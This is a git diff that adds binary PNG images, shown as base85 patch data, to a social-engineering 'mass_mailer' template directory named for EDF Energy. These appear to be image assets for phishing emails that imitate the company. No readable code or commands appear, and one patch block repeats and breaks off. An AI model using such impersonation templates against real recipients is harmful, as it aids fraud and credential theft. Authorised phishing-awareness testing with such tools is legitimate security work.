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 z z6b*cJG8ChMGTJPoU7n9sk`k_!N~5A0Xe7kTC45>{D7-W@)-DFaD}S|*Gxq>zuI`yTH`2%PzB+w;DfrV<3K zIkvDb(eH7#o_*rlx4u5Uc9~ACCF);b&OUPX!-^tjHfwleWS^*XR(4f3XQ>TvZCMrz z8dmU&Nw5#xXi=34(#@RlsH_l8lCY$xLWo|IvM?UEu>8TWPvzHT2nTbEZFQHrqEwzxO5j{mJ!nzcYE_VY1iL=CUeq@hv|qXia2{ zQ@FA?k?UMoD&(6b?tCK*HWEg`Ezsn^H&KwFvlKinSz403q_L=iAjn6P)EUL2?bsXT zd61K=6h>Mq1w#L(a9^;Y0KpI!x*|-S*cNYfJ9BgMCd6NV`q`K0f9eF^{Jj6rr}oOb z)7I(e_4iZSjg#2*{9t2a zuru;Qkava~4>%sfa+O!QR%*Ip=xWopdcAI|+m%7_pK+9ZvHd4b<1IhNO*4G(k1%Y( zB{US%!nKFuY!n>3M-oHJ)*SXhv2-ZAY*k$lW^~G^%H;F|VhT#fiSr~l`b9{yS!AZ| zMUI!o+fG>E_?pQ|LxI2GW0I{Qh6_zC{0wW8U^os+;lC4;I_2b)Or4 zv$ij(vG3gWSEjlv*|y5du=|xiDC6K|AAkOq zAFY_OFVUOw1XrG(eCq-4g-2iZ@nQey&fLj;iQcSd@YR10%KF_OfA-9e?@RP%J?_&F zLAVrMKmVHKHv1BNrOxh`|J~qE{_xdT)_sY-f@kvBmqA&R?bVlke0$;aXy(wqL~q*M z=6h9_UO8pmm*}gK+dTTf=;6<1YeS+{nqH4pZo5Q|NmR!-*7ERJpB5niop4c8{vJ4-UR8*4-^US zOZ29RnAVr?a9a!e61_Q%@WY=)BOG~uj&j7lL|?z>dk(w&na*`zqOa={Z(If=>^$+c z@87xZOY|lAc zN=>*9hW91%K(a dXy^YEU;z611wb+{BQF2|002ovPDHLkV1jHw3yS~% literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png new file mode 100644 index 0000000000000000000000000000000000000000..2734ec4276bd435217e8afec5887dc82b6fffb72 GIT binary patch literal 3015 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 